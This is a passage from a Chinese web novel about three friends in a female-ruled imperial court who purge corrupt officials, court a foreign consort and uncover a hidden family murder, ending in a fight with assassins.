晏无辛长叹一声,“唉,如蓁是个猛人,你是个狠人。只有我,这辈子其实就想做一个与世无争的富贵闲人。要是没有你们,我才懒得理朝中这些乱糟事。” 两人一边聊着,一边策马回城。 陆锦澜笑道:“那你等等吧,等如蓁忙完了要忙的事,咱们三个带上家眷一同隐居世外。终日赏花斗酒,骑马打猎,岂不快哉?” 晏无辛哼了一声,“看如蓁这劲儿头,只怕到她不忙的那一天,我头发都白了。偏偏咱又舍不得,让她一个人面对这诡谲的朝堂。哎,我是舍命陪君子啊,为了陪你俩,我真是一片苦心。” 陆锦澜勾起嘴角,调侃道:“呦,晏大人又开始诉苦了。这是想让我请你喝酒,还是又看上我家什么东西了?” 晏无辛嘿嘿一笑,“要不说咱是知己呢,你把你这宝马借我骑两个月。” 陆锦澜不依,“又惦记我的马?我这马每天有专人伺候,可是我的宝贝。” “咱比亲姐妹都亲,我还能害你的马啊?到了我那儿,我也让专人照料,保管给它养得白白胖胖的。” “好吧好吧。”陆锦澜经不住磨,勉强答应道:“借你一个月,一个月后你得给我好好的送回来。这马是我的心头爱,见不着我会想它的。” “知道啦,我每天骑你家去,让你们见见,一解思念之情,总行了吧?” 晏无辛软磨硬泡,终于又骑上了汗血宝马。 下雪天上朝都不坐轿子,为了展示这宝贝马,天天东奔西跑。 * 话说,项如蓁离京后,时有消息传来。 不到一个月,她的尚方宝剑已经斩了十七个人了。 其中有借各种由头,骗取朝廷拨款,中饱私囊的官员。也有参与分赃,一同合谋的当地富绅。 据说同行的办事人员,抄家都抄出了丰富的经验,抄出来的东西运到京城,一丁点磕碰都没有。 国家虽大,人与人之间却总有着千丝万缕的联系。京外的贪官污吏和朝上的大臣,其实也能扯上关系。 一来二去,便有人按捺不住,参奏项如蓁。 “皇上,您可不能不管了。项如蓁她成了项如疯,她查一个抓一个,抓一个杀一个,她……她简直杀红了眼。若由着她这么杀下去,必使朝野动荡上下不安。皇上,你快将她召回来吧。” 赵敏成:“这个项如疯……啧,都让你给我搅合糊涂了。这个项如蓁做事是有些生猛,诸位大臣,你们怎么看?” 陆锦澜和晏无辛交换了个眼神,你先说?还是我先说? 陆锦澜抢先一步,“回皇上,臣以为没什么不妥。项如蓁的品行您是知道的,此人刚正耿直,她所查办之人虽多,却都是为朝廷查办,按法度执行。” “据臣所知,自从她接收户部后,查办了几百人。不论她查谁办谁,都不是为了泄私愤,对事不对人。所查之事,有理有据,一切记录在案,办得十分翔实。” “诸位大人若不信,待她回来,大可翻看卷宗,核对人证物证。” “既然杀的都是该杀之人,没有一个无辜,就不必大惊小怪了。莫说杀了十七人,便是杀了一百七十人,也是为我朝清理蛀虫,做了好事,有何不可?” “ 人头落地,而后便是抄家起赃。户部亏空已久,如今一车车钱财运往京城,国库日渐充盈,有什么不好的?” “有人若因此不安,该反省自己。清白者,自然无惧。不安的人,大概是做了亏心事,怕刀砍在自己脖子上。” 那人才刚提起参奏的话茬,就被陆锦澜夹枪带棒的怼了一通,只得熄火。 项如蓁在外面放手大干,陆锦澜和晏无辛就在朝上为她守住舆论场。 如此反复几遭,转眼便到年下了。 这日,陆锦澜和晏无辛下了朝,一同回到忠勇园。 刚到府门口,凛丞便带着怀星,笑吟吟的迎上来,“我就琢磨着你们该回来了,已经命人备好了热茶和酒菜。二位大人快换了衣裳,用膳吧。” 陆锦澜将马鞭丢给仆从,随手解了披风递给凛丞,笑道:“我和无辛刚想在路上说起来要吃烤肉,你让人准备好炭火和烤肉的篦子,再切两斤上好的五花肉,我俩到我屋里吃。” 凛丞一叠声应着,急忙吩咐下去。 不一会儿,两人便脱去厚重的冬装和官服,穿着轻便的常服,围着火炉烤着滋滋冒油的五花肉。 手边方桌上摆着丰盛的酒菜,厨房很快又送了切好的鹿肉、牛肉、羊肉来。 屋子里的地龙足够暖和,二人两杯温酒下肚,便挽起袖子,解开颈口的扣子,热出了汗。 晏无辛掐指一算,“还有半个月就过年了,我估摸着二十七八,如蓁就能赶回来。” 陆锦澜哼笑一声,“别提了,如蓁昨儿来信说,她可能要晚点回来。虽然查办一切顺利,但她返京时要杀个回马枪,查漏补缺一下。” 晏无辛哈哈一笑,“这个项如疯,真是疯了。我要是贪官,我只求速死,下辈子都不敢贪了。” 陆锦澜叹道:“如蓁这一去,收获可不小。已经补回来两百万两银子了,回头再把赃物换了钱,户部的亏空就补得七七八八了。可她这一趟,树敌无数,只怕无数双眼睛盯着她,等着抓她的错处。” 晏无辛道:“如蓁做事细心,又严于律己,一般人还真拿她没办法。” 陆锦澜道:“我看,不仅她要严于律己,我们也要格外小心。咱们三个已经够扎眼了,有些人拿不到如蓁的错处,兴许就要往她身边的人身上盯。” “马上过年了,会有不少外地官员进京,京内官员也会频繁走动。从前咱们是学生,做什么都无所谓。如今身居高位,还是谨慎些好。” “我看,咱们干脆放出风去,今年不收重礼。但什么都不收,未免显得不近人情,我府上只收些吃食,哪怕是干菜、腌肉、蘑菇之类的东西,也比金银好。” 晏无辛连连点头,“那你只收吃食,我就只收美男。反正皇上也赏过我美男,我收这个不犯毛病。” 陆锦澜笑着与她碰杯,“如此甚好。” 两人正说着,洗墨在门口道:“少主,府外来了个姓黎的户部主事。她说她是项大人委任的,项大人走时说如果遇到了事,可以来找您和晏大人。她出了件天大的急事,实在没有办法了,不得已来求见二位大人。” 陆锦澜一笑,“你看如蓁,人在外面,还给咱们留作业。” 她对洗墨道:“让她进来吧!” 不一会儿,一个三十来岁身材肥胖略显憨厚的中年女子躬身进来。 她迈过门槛,噗通一声跪倒在地,哭道:“下官户部主事黎劲草参见陆侯、参见晏大人,下官已经走投无路,求二位大人救我!” 陆锦澜吹了吹筷子上油脂四溢喷着香气的肉块,淡然道:“天又没塌,你哭什么?说说怎么回事儿。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 110-120 第111章 黎劲草擦了把眼泪,哽咽着说明了事情原委。 原来项如蓁离京前,将有些快办完的案子交给她来收尾,其中有一案涉及一位已经告老的官员。 此人姓钱,也爱钱如命。在任上时挪用了一笔款子,去向不明,被项如蓁揪了出来。 项如蓁在时,这人还算老实,有认罪的态度。可项如蓁一离京,姓钱的便变了脸。 黎劲草几次去催款,姓钱的非但不给,还派人到黎劲草她娘卖炸糕的摊子上留了两百两银子,藏在装面粉的桶里。 老太太年迈老眼昏花,过了一夜才发现。 再想还回去,人家当然不肯收,非说那是送给黎劲草平事的钱。逼着她把案子抹了,不然就要告她收受贿赂。 黎劲草越说越委屈,眼泪一把鼻涕一把的,气道:“姓钱的欺人太甚,我道理也讲了,求也求了。我娘自责地都要上吊了,那厮就咬死了说,钱是我要收的。” “下官现在跳进海里都洗不清,一世英名毁于一旦,案子还没法办下去,项大人回来非骂死我不可。” 她哭得稀里哗啦,晏无辛却被气笑了,“我说黎大人,你有点出息行不行?二百两银子就把你逼成这样?这样,我给你出个主意。” “你一个月俸禄不到三十两吧?你干脆就认了,把钱收了,事儿交给别人继续办。你呢,去蹲三个月牢房,出来还倒赚了一百多两呢。” 黎劲草一听,急道:“我都这样了,晏大人为何还要戏弄我?这又不是钱的事,下官虽然家穷,但从没贪过一分钱。要我承认受贿,那我干脆回家去,和我娘一起吊死。” 陆锦澜瞥了无辛一眼,笑了笑,对黎劲草道:“晏大人说的是玩笑话,你莫要当真。我听如蓁说起过你,你是京郊窑县人,对吧?” 黎劲草道:“正是,项大人查窑县时发现除了我,其余同僚都查出了毛病。项大人说我是出淤泥而不染,特地把我提拔到户部任职。” 陆锦澜点了点头,“出淤泥而不染,别人都贪你不贪,很难吧?” 黎劲草黯然道:“难。” 陆锦澜道:“守住自己,不容易。可你现在做的事,是管住别人,更难。与恶人斗,你就要更恶。人家栽赃你一下,你就没了办法,还怎么办事?姓钱的现在已经是平民了,你一个做官的斗不过她,你窝不窝囊?” 黎劲草吸了吸鼻子,“论使坏,下官是比不过小人。” 陆锦澜瞪了她一眼,“比不过你学啊,死心眼儿啊?以后这样的事儿多着呢,难道你次次都上吊啊?一百条命也不够你吊死的。” “如蓁比你还宁折不弯,可她没你这么蠢。人家就拿住你只有正招,没有邪招,才敢使下三滥的手段。可你连小人斗不过,算什么大人?” 黎劲草闷声道:“陆侯教训的是,只是眼下该怎么着,下官一时想不到主意。” 陆锦澜摸了摸下巴,“你来这儿算来对了,姓钱的欠了户部多少钱?” 黎劲草回道:“连本金带罚款,一共一万两千二百一十七两。” 陆锦澜笑道:“真是个吝啬鬼,这点钱都不肯吐出来,你刚说姓钱的现在做绸缎生意?” “是,在 城西开了间挺大的绸缎庄。” 陆锦澜勾了勾嘴角,“那二百两银子你收着,算是给姓钱的一个教训。你见着她,告诉她一句话,少耍花招,三日内把欠户部的钱还上,不然我让她从此以后都没有生意做。” 黎劲草一愣,“陆侯,这……不合规矩吧?这算不算欺压良民……不,欺压恶民啊?” 陆锦澜眉毛一挑,“你怕什么?又不是我出面,我娘刚好是全国绸缎商会的会长,卡住货源也就是一句话的事儿。布料都没有,她卖什么?自己吐丝啊?” “你把这层关系告诉她,她但凡没有蠢到家,就会老老实实交罚款的。” 黎劲草依言去了,问题果然迎刃而解。 类似情况,在此后数年经常发生。只要项如蓁不在京中,遇事不决的人便会往陆府跑。 且说这年过了三十,项如蓁还未回京。晏无辛一大早赶来陆府,才知道金雪卿今日生产,府里上下忙成一团。 陆锦澜和晏无辛在亭子里围炉煮茶,焦急的等待着。 陆锦澜:“这是如蓁的第一个孩子,真希望她今日能来得及赶回来。” 晏无辛:“是啊,今儿正好是她的生日,生辰礼物我都备好了,她怎么还没回来?” 说话间屋内传来一声婴儿的啼哭,洗墨一路小跑从外面进来报信:“项大人回来了!” 两人急忙迎上去,只见项如蓁满面风尘,憔悴了不少,但很精神,见到她们抢先开口,“过年好!” 陆锦澜笑道:“快去看看你的孩子,你当娘了。” 金雪卿虚弱地握住项如蓁的手,有些遗憾,“对不起,本来定下今日生产,是想生一个女儿,给你做生辰贺礼。可惜是个儿子,终究不够圆满。” 项如蓁安慰道:“没关系,下一个一定是女儿。你好好养着身子,咱们都还年轻,来日方长。” 陆锦澜在门外笑道:“咱们订个娃娃亲吧,把你家儿子许给我家女儿如何?” 金雪卿微笑道:“这孩子好福气,连名字都没有,就要有亲事了。妻主,你给儿子取个名字吧。” 项如蓁想了想,恰逢窗外飘起了雪花,项如蓁道:“就叫遇白,项遇白。” * 冬去春来,转眼就到了二月二,皇帝寿辰。 陆锦澜之前说了,她不动用户部的钱,于是她指派关山月去拉赞助。 关山月:“何为赞助?” 陆锦澜:“你就去那些商户说,皇上寿典要用的东西不少,光咱们采买,她们能赚几个钱?无声无息的,没多大用处。不如,让她们自己主动给。” “寿典上每一样东西,她们都可以赞助。比如皇上寿典专用桌、专用椅,咱们用完了她稍微改改,就可以卖同款啊。反正提供寿典用品外加出银子的,都会获得一个咱们礼部颁发的寿典纪念匾额。” 关山月越听眼睛越亮,立即心领神会道:“这么说,咱们是不是根据商户们所出的银子,分为几等?” “一等赞助,十万两,给一块大匾额,由陆侯您亲自送到铺上;二等赞助,五万两,中等匾额,由下官带人去送;三等赞助,三万两,小匾额,由礼部主事去送。” 陆锦澜连连点头,“到时候一定要敲锣打鼓,咱不让她们白花钱,广告效果一定要达到。另外不同等级的赞助奖励再区分一下,所有赞助商都可以挂咱们礼部特制的‘皇上寿典同款有售’牌,一等可以挂三年,三等只能挂一个月。” “我进宫去跟皇上说一声,争取到时候能贴个告示,把这些对皇上有孝心的商家都写上去。” 关山月有一丝担忧:“历朝历代都没这么干过,皇上能同意吗?” 陆锦澜狡黠一笑,“那就看我怎么跟她说了,没人这么干过,皇上就是千古第一人,你说她有没有这个魄力?” 陆锦澜进宫忽悠了一通,赵敏成沉吟片刻,“这么干不行。” 陆锦澜:“为什么?” 赵敏成:“得加个特等赞助,才显得朕天恩浩荡。既然她们要对朕的寿典表孝心,朕也施一施恩德。谁要是出三十万两,朕便御笔亲题匾额,另外在寿宴上赐一坐,准她出席寿宴,为朕贺寿。” 陆锦澜当时还想三十万两不是个小数目,谁来当这个冤大头?直到她看见了平掌柜。 陆锦澜悄悄把她拉到一旁,“你怎么来了?” 平希玉低声道:“家主说京城里能做特等赞助的没几家,咱陆家有这个实力。有实力却不做,皇上知道了恐怕会不高兴。另外,这不是配合您的工作吗?只不过家主不愿出面,所以她让我来。” 陆锦澜皱眉道:“我娘想得太多了,没必要花这个钱。” 平希玉坚持:“家主算过了,说肯定能赚回来。再说,咱家又不差钱。今年在京城又新开了七八家铺面,新店需要人气,正愁不够热闹呢。” “好吧,”陆锦澜无奈地对关山月道:“特等赞助,写上久安堂。” 平希玉将银票交付过来,又道:“我听说项大人最近要查商税抓罚款,她会查咱家吗?” 陆锦澜嗤笑一声,“她要是查,凭我和她的关系,她肯定第一个查咱家。” 想当初项如蓁当了学生会长,上任第一天,就按住了迟到的陆锦澜和她未来的夫家姐姐金一淮。 项如蓁的做事风格,陆锦澜太熟悉了。 她忙问道:“咱家税这块,有问题吗?” 平希玉道:“绝对没问题,京城所有的商户,有一个算一个,咱家是最守本分的。该交税的一点不少,这在业界都是出了门的。不管谁来查,都罚不了咱们一文钱。” 陆锦澜叹了口气,“咱们家安然无恙的过关,可如蓁那边就难了,外人一定以为她有包庇之嫌。” “这样吧,你卖个漏洞给她,就当一时糊涂,有的税忘了交或者交迟了,给她查出来,补个两三万的罚款。有咱家做例,其余商户一定会更加老实。” “这……”平希玉有些犹豫。 陆锦澜:“怎么?心疼钱?刚还说不差钱呢。不用公账出,去我府上拿。” 平希玉忙道:“少主说笑了,从哪儿出不都是您的钱。这事儿交给我,一定给您办妥。” * 寿典办得很热闹,陆锦澜原本只想拉五十万两的赞助,结果超出了三倍还多。 京城,真是富贵迷人眼。 皇上十分满意,夸陆锦澜灵活巧思,把工部也交给她兼管。关山月顺利成章的正式升为礼部右卿,一切都按照好的方向发展。 唯一让陆锦澜惋惜的是,她原本想借着寿典的引子,把蚩离请来。结果不巧,赶上姜国皇帝病了,蚩离身为皇夫自然没有单独前来的理由。 曲国这边,萧承英亲自来捧场。姜国那边,也派了两个皇女和几位皇亲过来,以示友好。 大家一同饮酒享乐歌舞祝寿,颇有一番天下相亲与相爱的气息。 萧衡过年时怀了孕,萧承英要走时,便和陆锦澜商量道:“母皇年纪大了,近来总念叨十四弟。得知他怀了身孕十分高兴,想让你们回去看看,她很想见见你。” 陆锦澜想了想,左右近日没什么事,那些姜国皇亲和她搭上关系后,很是热情,也邀她去姜国看看。 姜国来人还说:“我朝皇夫听闻嬅国物产丰富,特命我采办些东西回去。我人生地不熟的,还望陆侯帮忙指引。” 陆锦澜问:“他想要什么?” 那人取出一张单子,“都是些日常用到的物件,皇夫说别的买不到不要紧,有一种白玉簪子,听说很流行,务必要买到。” 陆锦澜心念一动,“单子给我,我去买。他想要的东西,一定让你带回去。” 来人要给她预付些银两,陆锦澜没要。 姜国人顿时感慨:“陆侯真是好人呐!” 如今萧承英有个这番提议,陆锦澜便立刻答允。 她先把萧衡送去曲国,让他在曲国安胎,待生产后再回去。而后,她又去姜国转了转。 夜里,陆锦澜轻车熟路的翻墙入宫。从那扇天窗里,窥见了她相见的人。 蚩离依旧躺在那片土地上,穿着一身红衣,手里的白玉簪子因为被掌心一直握着,都变得温热起来。 听去嬅国人说,他要的东西是靖安侯亲自办的。 这枚白玉簪被装在一个精致的匣子里,安然无虞的送到他的手上。 蚩离每每想到陆锦澜,嘴角便会挂上一丝甜蜜的笑意。 可当日思夜想的人骤然出现在眼前,他却忍不住潸然泪下,紧紧的抱着她,久久说不出一句话。 那一晚,陆锦澜堂而皇之的宿在蚩离的皇夫宫殿。 两人依偎在一起,蚩离温声恳求:“让我为你生个孩子吧。” 陆锦澜一愣,“万一被人发现了怎么办?” 蚩离垂下眼眸,“我一个人想你,太过煎熬,有我们的孩子在身边,看见她我便不会觉得苦了。何况,我这里鲜有人来。皇上的病越来越严重,已经昏昏沉沉。若真有了,我就说是皇上的。” 陆锦澜有些犹豫,蚩离又道:“我总怕你忘了我,若我有了孩子,便不会不安。你不会不管我们父女的,是不是?” 陆锦澜一笑,“谁不管你了?我这不是千里迢迢的来了。好,给你个孩子。若怀上了,派人告诉我,若遮掩不住,我干脆把你抢回去算了。” 蚩离笑了笑,随即感伤道:“可惜,就算我生下咱们的孩子,也不能随你的姓氏。不过你放心,等孩子懂事了,我一定告诉她,你才是她真正的母亲。” 陆锦澜握住他的手,“母女连心,等到来日孩子见了我,她会明白的。” 陆锦澜在姜国皇宫风流了七八晚,才启程 回国。 路过赤诚军驻地,又慰问了一番将士们。 回到京城时,正值春日午后,斜阳草树景色怡人。 城门外有两匹骏马,外加两道熟悉的身影。 陆锦澜一喜,“你们怎么在这儿?” 项如蓁笑道:“我们掐算着日子,算着你该到了。你让随行的人先回去吧,我们带你去个别的地方,晚上再回府。” 陆锦澜以为二人为了迎接她,安排了什么好玩的,便让关山月等礼部下属、还有洗墨等几个家仆,先带着几车东西回去。 她则跟着项如蓁和晏无辛,三人三骑,往别处去。 路越走越荒凉,陆锦澜忍不住好奇:“咱到底要去哪儿?” 晏无辛笑道:“离京城不远有个历县,窑县旁边那个,你知道吗?” 陆锦澜道:“知道,但没去过。那地方可没法和京城比,穷乡僻壤的,有什么好玩的?” “不是玩。”项如蓁道:“你之前不是托付我帮你查一个人吗?好巧不巧,我查到了。” 陆锦澜猛地一愣,项如蓁还以为她太过惊喜,细说道:“飞卿,是飞花的飞,贤卿的卿。此人姓顾,顾飞卿。” 陆锦澜一时不知该如何反应,“这……这都是多久之前的事了,我那次就随口一说。” 项如蓁笑道:“前些日子平掌柜说,你为了我逼着她出错。说起来,自从咱们相识,总是我麻烦你和无辛的事情多些,你们鲜少麻烦我什么。” “你就托我办了这么一件事,我岂能忘了?” “不过这个顾飞卿还真难查,我翻遍了各种记载,都没查到。” “后来竟然在历县的县志里,看到一则十几年前的奇闻。说有一日天降暴雨,一道雷劈开了一座墓。墓里什么都没有,是个衣冠冢。按照墓碑上的记载,墓主人便是顾飞卿。” “我派人找来历县顾氏的族谱,果然有顾飞卿的名字。上面有她的生辰八字,还说‘此女文韬武略颇具才干,乃顾氏一族之荣光。进入皇家学院读书,日后前途无量’。” “你那次说这个顾飞卿应该在皇家学院读书,她不就是你要找的人吗?” 陆锦澜无言以对。 是,她当初是说要找一个叫飞卿的人,可能读过皇家学院,可那是太久之前的事了。 如蓁可能忘了,陆锦澜当时还说这个飞卿可能是晏维津的同窗。 她最后还说:“你当我没说过,这件事不要跟任何人讲。” 可晏无辛是和项如蓁一起来接她的,三人关系如此亲密,事已至此,没有硬隐瞒着不让谁听的理由。 陆锦澜默默无言的跟着二人到了历县,找到了一座荒芜破败的宅院。 不知道为什么,一进入院中,陆锦澜便觉得心头沉重,仿佛这地方和她有千丝万缕的关联。 “找到了!”项如蓁在后院招呼:“墓在这儿!” 被雷劈过以后,大概是有人帮忙修缮过。只不过坟上荒草丛生,已经很久没人来打理了。 墓碑上的信息很少,只写着:顾飞卿之墓,故人立。 顾飞卿是谁?故人是谁?何年何月?都没有写。 立这个碑的人,似乎故意隐去一切,只是将人的衣冠葬在这里,试图让其安息。 陆锦澜叹了口气,“已经看过了,我们走吧。” 晏无辛趴在窗口那儿,朝屋内看了许久。 陆锦澜问她:“怎么了?” 晏无辛诧异道:“里面好像有座石像,有点……像你。” 三人推开破旧腐朽的木门,走到内室,一尊坚固破碎的石像出现在三人眼前。 说是破碎,是因为那本来是个双人石像。原本是二人并肩而立,而如今顾飞卿旁边那人的头部却被人为凿碎了,只残存脖子以下的部分。 说是坚固,是因为石像底部刻着时间。这是二十年前的石刻,然而过了二十年,石像依然没有任何改变。 雕刻人的手艺很好,竟让一块冰冷的石头变得如此生动,面目神情栩栩如生,让人一看便瞧出了端倪。 二人的目光在石像和陆锦澜之间反复徘徊,晏无辛终于忍不住问:“这个顾飞卿是不是你的亲戚?” 陆锦澜心头一沉,缓缓点了点头。 第112章 陆锦澜叹息一声,抚着冰冷的石像,轻声道:“她是我的……亲姑母。” 陆锦澜在面目全非的顾家旧宅里坦白了自己的身世,“此事极为隐秘,我和母亲已经决定按下不提。请你们也为我保守秘密,让前尘往事随风而去吧。” 项如蓁震惊道:“你发生了这么大的事,为什么不早跟我们说呢?一想到你内心独自煎熬这么久,每天还要装作没事人似的,我这心里就……” 陆锦澜摇了摇头,“没事,我刚知道的时候很无措,现在已经缓过来了。其实这世上有许多事,知道了如何?不知道又如何?或许有些时候,不知道更好些。” “我娘希望我过风平浪静的日子,我也不愿再起波澜。是非纷扰,都让其成为过往吧。我们还要过我们的生活,你们说是吗?” 晏无辛拧着眉不知在想些什么,项如蓁却还是有些不解。 “我觉得事情没那么简单,既然当年有人杀了你生父,又追杀你姑母和刚刚出生的你。如果她再遇到你,会不会不放过你呢?” 陆锦澜道:“不会的,如今的形势和当年已经大不一样了。她已经没杀我的理由了,除非……” 除非她已经知道,我已经得知了当年的真相。 这句话陆锦澜没说出口,她淡然一笑,只道:“除非你们大张旗鼓的,将事情说出去。” 项如蓁忙道:“我们当然不会说,可是我觉得不把真凶找出来,对你来说还是太危险了。” 她环顾四周,“我有一种感觉,这个墓碑写得如此语焉不详,有些蹊跷,或许此墓就是害顾飞卿的人所立。我们在这儿找找,说不定能找到蛛丝马迹。” 话音未落,晏无辛便果断转身出门,“我去找。” 项如蓁蹲下身端详着陆锦澜的神情,“你是不是已经有了进一步的推论?” 陆锦澜微微点头,“有,可我不愿进一步去想。现在这样,还有回旋的余地。进一步可能会走到死胡同,眼前无路时再想回头,便不那么容易了。” 项如蓁皱了皱眉,“我听不懂。” 陆锦澜长叹一声,“我希望你永远也不要懂,走吧,陪我去清理一下坟头的荒草。” 二人走出去时,晏无辛正在坟边的荒草里扒拉着什么。 项如蓁连忙凑上去,“找到什么了?” 晏无辛道:“这有把断剑,被高手用内力震成几截,插在地上。你们看着点儿,不要踩到。对了,我忽然想起来有件急事,我得先回去了。” 陆锦澜道:“那你先去吧,我们把这儿收拾收拾再走。” 两人蹲下来拔草,项如蓁忽然觉得断剑分布的位置有些奇怪。 按理来说 ,应该是均匀分布,可有一块却比较较空。 她轻轻拨开表面的浮土,一个新鲜的空隙露了出来,显然是有人刚刚从这里拔出了一截断剑。 项如蓁诧异地“哎”了一声,“无辛,你……” 陆锦澜连忙按住她的手腕,示意她不要开口。 晏无辛刚刚走到院门口,闻声猛地回过头,“怎么了?” 陆锦澜一笑,“让你路上小心点。” 晏无辛笑道:“知道了,你们怎么越来越絮叨?公公爹爹的。” 她飞身上马,摆了摆手,消失在二人的视野中。 项如蓁叹了口气,“你俩这是怎么了?咱们是这么亲密的朋友,向来坦坦荡荡,有什么说什么,今日为何要藏着掖着?” “她拿了东西不吭声,你也不让我问。有什么误会,大家不能当面说清楚?都憋在心里,反而会误会得越来越深。咱们是过命的交情,别因为一点小事儿,弄得生分了。” 陆锦澜抿了抿唇,只反问了她一句:“如果不是误会呢?” 误会,可以说清楚。可如果是事实呢?是大家都无法面对的事实,又该如何? * 晏无辛藏了一截断剑,因为那截断剑上刻了一个“津”字。 她几乎毫不犹豫,立刻坚定的认为:将剑震断,而后插在这里的人,就是她娘。 其实,在陆锦澜诉说身世的时候,她便开始有些怀疑。 顾飞卿官职不低,且助皇上登上大位,那可是从龙之功啊,有谁能害得了她? 顾怀瑜既然是皇上的正夫,那么他生下的女儿,顺理成章便是皇长女。 谋害两个如此有身份的人,甚至不惜追杀一个刚出世的婴儿,不像是私人寻仇,倒像是某个团伙为了利益,不择手段。 没有顾飞卿,没有顾怀瑜,没有皇长女,对谁最有好处? 她瞬间便联想到凌之静和晏维津,这两个人,共同辅佐皇上登基,赵敏成上位后,她们是得到好处最多的大功臣。 可凌家虽然手握重兵,却没有必要害皇长女。 皇上笼络凌家的方式,是将弟弟嫁给凌之静,并没有娶凌家哪个男人。跟皇长女之间,没有竞争关系。 排除干扰选项,那就只有一个可能了。 大皇女赵祉钰刚认识三人的时候,化名晏钰。 她的生父,是姓晏的。 晏无辛听族中长辈提起过,皇上登基那年,曾封一名晏氏男为皇夫,那人很快为皇上诞下女儿。 可惜身体不好,生下孩子不到三个月便死了。 那个女儿,想必是大皇女赵祉钰。 虽然算起来,赵祉钰和晏无辛也算远房亲戚。 可皇家人情淡薄,晏氏皇夫又死得早,早就攀不上亲戚。在逢春楼之前,晏无辛甚至从未见过赵祉钰。 晏无辛顺着这个思路想,既然晏氏一族有很大的嫌疑,那么她娘便充当其冲,成为最大的嫌疑对象。 算算时间,皇帝登基,晏维津登上丞相之位,晏氏男进宫做皇夫,一切都是那么巧合。 巧得就像早就商量好的,一切仿佛是一场谋算精密的利益交换,而顾氏姐弟和刚刚出生的陆锦澜,大约就是那个交换的条件。 顾飞卿读过皇家学院,娘肯定是认识她的。可这人和陆锦澜长得这么像,娘时常见到陆锦澜,为什么绝口不提? 晏无辛很希望是自己想错了,不是这样,一定不是这样。 她最敬爱的母亲,她最亲爱的朋友,她们怎么会是仇人呢? 她把那截断剑拿走,不是阻止陆锦澜得知真相。她只是带着一丝侥幸,希望这其中有什么误会。她要解开这个误会,再把事情告诉陆锦澜。 她希望她可以笑着告诉她,“当时吓死我了,我立刻就把这玩意儿藏起来了,生怕咱俩成了仇家。幸好,只是虚惊一场。” 她连这样的台词都想好了,可是,她没有机会说出这样话了。 * 陆锦澜薅了好一会儿草,手都被染绿了。刚要叫项如蓁离开,门外的汗血宝马便发出一声不安的低鸣。 陆锦澜内功日益深厚,耳力也比寻常的武人更加灵敏。 她轻声问项如蓁:“你今日是不是从晏家老宅,把无辛带过来的?” 项如蓁道:“是啊,她这几日都在老宅住着,没回自己的私宅,怎么了?” 陆锦澜掂了掂手里的断剑,“没什么,只是感叹天意如此,她终于还是知道了。” “谁?” 话音未落,数十名蒙面杀手越墙而来。 陆锦澜将手中断剑嗖地一掷,最前面的杀手立即中招,一剑封喉血流如注,直挺挺地倒了下去。 其余杀手微微一愣,更加凶狠地扑杀过来。 两人无需多说,立刻和来人厮杀在一处。 * 晏无辛在回去的路上,看见了与她相向而行的杀手团。 面对面擦肩而过,即使对方蒙着面,她也能凭气息嗅到,那是常在老宅出入的人,是她母亲身边的人。 晏无辛连忙勒住马,看来不必急着赶回去了,这其中,根本没有误会。 只有,令人不愿面对的过去,和更不愿面对的将来。 晏无辛站在高处,看着陆锦澜和项如蓁与一众杀手战至一处。 她知道,这些杀手武功不低,却肯定不是陆锦澜和项如蓁的对手。 她们不需要她的帮忙,但她必须要出手。 她从未如此迫切的想要证明自己,她想要用行动告诉她们,她永远不会站在她们的对立面,她不会袖手旁观。 这一次,没有来不及,没有犹豫。她只希望,她们不要怪她来得太晚。 * 陆锦澜刚刚扭断了一个杀手的脖子,忽听一阵急促的马蹄声迅速逼近。 她转头一看,晏无辛飞身入局,脚尖将插在尸体上的长剑敏捷地踢至半空,反手握住,决绝地刺向杀手的要害。 陆锦澜和项如蓁对视了一眼,暗暗心惊。 她们与晏无辛并肩作战数次,却很少见她出招这般狠辣凌厉。 招招致命,仿佛对这群杀手有着滔天的恨意。 但陆锦澜知道,晏无辛不是恨杀手,她是恨命运。 这贼老天,害人不浅。 眨眼间,横尸遍地。晏无辛最后一个停手,此间除了她们三个,再也没有活口。 陆锦澜看着她,心头酸楚,强压着心绪问道:“你怎么回来了?” 晏无辛将染血的冷刃插在地上,默默避开了她的目光,“刚刚走得急,忘了将一件证物交给你。” 她说着从怀里取出那截断剑,声音有些紧,“给,这是个线索。或许能帮你找到害你生父和姑母的凶手,你……拿去吧。” 陆锦澜手动了动,她看着晏无辛紧张到颤抖的手,终究没有接。 她望着晏无辛的眼睛,坚定的告诉她,“我刚刚已经说过,前尘往事,不想再提。凶手是谁,于我而言,已经不再重要。” 她努力勾起一丝笑意,“母父安康,挚友在侧。你们都在我身边,对我来说才是最重要的。” “我不想去追问凶手,今天将隐秘的身世告诉你们,只是希望你们和我一样,做到心里有数。仅此而已,你……你们明白吗?” 晏无辛眼底浮现起一层水雾,她用力地点了点头,将那截断剑收了回去。 在回程的路上,三人格外沉默。 分手时,项如蓁忽然拉住陆锦澜,“我是不是做了天大的错事?” 陆锦澜摇了摇头,“是有人做了天大的错事,但那个人不是你,不是我们,更不是无辛。” “天也做了天大的错事,可我们能把天怎么样呢?一切都是命运的安排,是从我出生时就注定了的。” “在我们还不能左右命运的时候,命运已经左右了我们。” “所以,我们不要苛责自己。命运如何咄咄逼人,我们都有选择反抗命运的权利。我们不要上命运的当,不要胡思乱想,好好过日子。” 项如蓁紧锁着眉头,无奈地长叹一声。 * 晏维津一向沉稳,今日却有些坐卧不宁。 她独自坐在 亭中,静候着消息。可等的时间越久,她的面色便越来越凝重。 终于,有了动静。 她凝眸望去,府门外进来一人,几乎浑身是血,惹得家仆一阵慌乱。 晏维津快步迎上前去,才发现那是她的女儿晏无辛。 “辛儿,你……你这是你怎么了?” 她连忙帮她擦了擦脸上的血迹,晏无辛微微一笑,“没什么,我和锦澜、如蓁去了趟外面,遇到了一群杀手。” 晏维津眉心一颤,“然后呢?” “然后,我们就把杀手全解决了,没留一个活口。” 晏维津紧张地吞咽了一下,“是谁派的杀手?为什么要杀你们?你们……是不是发现了什么?” “不知道。”晏无辛木然的回答,“我们什么也没发现,只不过看到了一座旧坟。” “还有呢?” 晏无辛叹了口气,“还有一座石像,跟锦澜长得有点像。我们猜,可能是锦澜的亲戚。但是锦澜说,她不想探究这些过往。天下之大,长相酷似的人不少。再说,就算有点亲戚,也是很多年前的事了,她不想翻动旧事。” 晏维津深吸一口气,微微点头。 “娘,锦澜不追究了,人都应该向前看,对吗?” 晏维津道:“当然,没有人会揪住过去不放。” 晏无辛忙道:“好,那就让我们都向前看,安安稳稳的过日子吧。” * 